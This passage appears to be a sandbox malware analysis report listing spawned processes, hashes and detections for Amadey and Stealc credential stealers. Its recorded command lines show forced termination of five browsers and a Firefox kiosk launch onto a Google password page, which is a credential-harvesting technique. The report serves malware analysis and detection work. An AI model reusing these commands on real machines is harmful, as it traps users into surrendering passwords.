31 75 5a 49 49 63 38 Data Ascii: 124jrtGB7zLHE3CPx+UXQeky3aBuXExtduIoztd9sin6/3VwGRynvE+JbZLb64BKPjkR7mMXwOE7qaSCm7Y+ZG30uPSKGLg5G4srFtw+XNi3K5UrZsXRZfhuI8ZONTyl5bR9ZkzJYbpdDm2TyXIcluL+k60l0MAgPW5kghzx/77xI763idq4ORuLKxbcPlzYtyuVK2bF0WX4biPGTjU8peW0fWZMyWG6XQ5tk8lyHJbi/pOtJdDAID1uZIIc8
2024-10-24 16:09:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:07:57
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc70000
File size:	2'949'632 bytes
MD5 hash:	20430D8D39ABDF5FC6B9654A561B7E83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:08:18
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe"
Imagebase:	0x130000
File size:	1'870'848 bytes
MD5 hash:	8D5F53AD3653F36A74E84D628FF68D7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2368072745.0000000000131000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2327332998.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:08:21
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe"
Imagebase:	0x4a0000
File size:	1'821'696 bytes
MD5 hash:	20A21EC73989A782B2B0243F0ED123BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2408818591.00000000004A1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2368421842.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:08:22
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x790000
File size:	1'870'848 bytes
MD5 hash:	8D5F53AD3653F36A74E84D628FF68D7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2404867306.0000000000791000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2364334996.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:08:23
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe"
Imagebase:	0xa90000
File size:	2'863'616 bytes
MD5 hash:	9ECB1B706853034FB1CECE1F7863F40C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:09:00
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x790000
File size:	1'870'848 bytes
MD5 hash:	8D5F53AD3653F36A74E84D628FF68D7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2733867471.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:09:14
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"
Imagebase:	0x830000
File size:	2'949'632 bytes
MD5 hash:	20430D8D39ABDF5FC6B9654A561B7E83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:09:23
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe"
Imagebase:	0x40000
File size:	1'821'696 bytes
MD5 hash:	20A21EC73989A782B2B0243F0ED123BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.3013087261.0000000000041000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000003.2972676425.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:09:26
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"
Imagebase:	0x830000
File size:	2'949'632 bytes
MD5 hash:	20430D8D39ABDF5FC6B9654A561B7E83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3141191649.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3047169433.00000000016B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:09:31
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe"
Imagebase:	0x610000
File size:	919'552 bytes
MD5 hash:	977038EB3A4497AD51F742FA49E90CEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000E.00000003.3097542418.000000000135F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:09:31
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:09:31
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:09:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:09:34
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:09:34
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:09:34
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:09:34
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"
Imagebase:	0x830000
File size:	2'949'632 bytes
MD5 hash:	20430D8D39ABDF5FC6B9654A561B7E83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3198150791.000000000101F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3173301010.000000000101F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3219630830.000000000101F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3178327332.000000000101F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3239956921.0000000001028000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	12:09:35
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a09107fa-2b02-4b88-8d3f-d1bbd3ed1ba2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 170f356e110 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:09:36
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001229001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001229001\num.exe"
Imagebase:	0x180000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3104366518.0000000000181000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000000.3089240746.0000000000181000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3113201257.000000000129E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:09:37
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4340 -parentBuildID 20230927232528 -prefsHandle 4348 -prefMapHandle 4344 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {98d7e8a7-213f-46a0-8d10-1ac585e34cc2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 17083a29810 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:09:42
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe"
Imagebase:	0x40000
File size:	1'821'696 bytes
MD5 hash:	20A21EC73989A782B2B0243F0ED123BA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.3176264555.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3222497122.0000000000041000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3230829652.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:09:51
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe"
Imagebase:	0x610000
File size:	919'552 bytes
MD5 hash:	977038EB3A4497AD51F742FA49E90CEF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	12:09:51
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:09:51
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:09:55
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe"
Imagebase:	0x7ff799c70000
File size:	1'870'848 bytes
MD5 hash:	8D5F53AD3653F36A74E84D628FF68D7B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000025.00000003.3296905401.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000025.00000002.3339391328.0000000000821000.00000040.00000001.01000000.0000001D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:09:57
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe"
Imagebase:	0xe20000
File size:	1'821'696 bytes
MD5 hash:	20A21EC73989A782B2B0243F0ED123BA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000003.3324835217.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	12:09:59
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001229001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001229001\num.exe"
Imagebase:	0x180000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.3340338956.0000000001097000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.3337452066.0000000000181000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000000.3322904939.0000000000181000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	12:10:00
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe"
Imagebase:	0x6e0000
File size:	2'863'616 bytes
MD5 hash:	9ECB1B706853034FB1CECE1F7863F40C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	12:10:02
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe"
Imagebase:	0x610000
File size:	1'870'848 bytes
MD5 hash:	8D5F53AD3653F36A74E84D628FF68D7B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	12:10:03
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	12:10:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	12:10:03
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	12:10:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	12:10:03
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	12:10:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	12:10:04
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xad0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	12:10:04
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00B06AB1 Relevance: 2.3, Strings: 1, Instructions: 1001COMMON

Download Yara Rule

Strings

-, xrefs: 00B07371

Memory Dump Source

Source File: 00000000.00000003.2195604671.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp, Offset: 00AFE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_afe000_file.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 0683fe14d4c03a2c9f1aac520a510b9e5e888bd2ff20a649b32781c4a5dd1bd0
